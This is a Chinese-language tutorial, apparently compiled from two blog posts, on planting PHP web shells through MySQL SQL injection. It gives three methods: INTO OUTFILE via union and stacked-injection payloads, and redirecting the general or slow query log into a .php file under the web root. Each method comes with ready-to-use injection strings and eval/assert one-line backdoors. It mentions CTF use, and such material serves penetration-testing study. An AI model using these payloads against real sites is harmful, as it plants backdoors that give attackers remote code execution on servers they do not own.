简单介绍
sql写入木马一般有三种方法,每种方法都有一定的要求和前提条件
正式介绍
into outfile写入木马
如果要写入木马
secure_file_priv必须为空
为空 可以写入磁盘的目录
D:\ 就可以写入D盘的文件
NULL 表示不能写入磁盘文件
但是一般都不为空......,也只能在ctf题遇到给你做做了
你可以使用show GLOBAL VARIABLES like '%secure%';命令查一查你的设置
需要知道绝对路径,错一点都不行,一般可以通过报错获得绝对路径
select @@basedir;可以查看你自己数据库的绝对路径
举个例子比如
联合查询
?id=1' UNION SELECT 1,'<?php @eval($_POST["ljl"]);?>' into outfile "D:\\phpstudy_pro\\WWW\\muma.php" --+
路径种\需要\代替,因为需要转义
堆叠注入方式
?id=1;select '<?php @e val($_POST['ljl']);?>' into outfile "D:/phpStudy/WWW/muma.php"
日志写马
这个在日志包含中就感受到了日志的魅力,在sql中也是如此
首先general_log==>日志保存状态,有两个状态,ON代表开启 OFF代表关闭。
general_log_file==> 日志的保存路径。
show global variables like "%general_log%"; 查看这两个日志文件相关的配置
可以看到这里的日志记录状态是处于关闭状态,那么我们需要设置以下使这个选项打开。
SET GLOBAL general_log='ON'; 打开日志记录set global general_log_file='D:\\phpstudy_pro\\WWW\\log.php';
写马,这里需要注意的就是需要使用双斜线,然后还有就是日志文件必须是.php文件防止不能被解析
设置完毕之后就是代表着所有的执行语句都会记录到日志文件当中,不管执行成功与否。
select '<?php assert($_POST[sss]);?>'; 查询语句,其实就是写马,让日志文件众留下这样一句查询语句。那么可以使用这个木马了。
以上来自https://blog.csdn.net/qq_49422880/article/details/123896924
数据库慢查询日志写马
设置slow_query_log=1.即启用慢查询日志(默认禁用)
set global slow_query_log=1;
然后查看日志状态和存放位置
SHOW VARIABLES like '%slow_query_log%';
查询mysql系统时间(一般都是十秒,后面我们设置11秒来超时)
再更改日志存放位置确保放入web路径
SET GLOBAL slow_query_log_file='D:\\phpstudy_pro\\WWW\\shell.php';
同样的是
注意:需要使用双斜线,然后还有就是日志文件必须是.php文件防止不能被解析
设置完毕之后就是代表着所有的执行语句都会记录到日志文件当中,不管执行成功与否。
查询语句(写马)
select '<?php eval(phpinfo());?>' or SLEEP(11);
以上来自https://www.crt134.top/131.html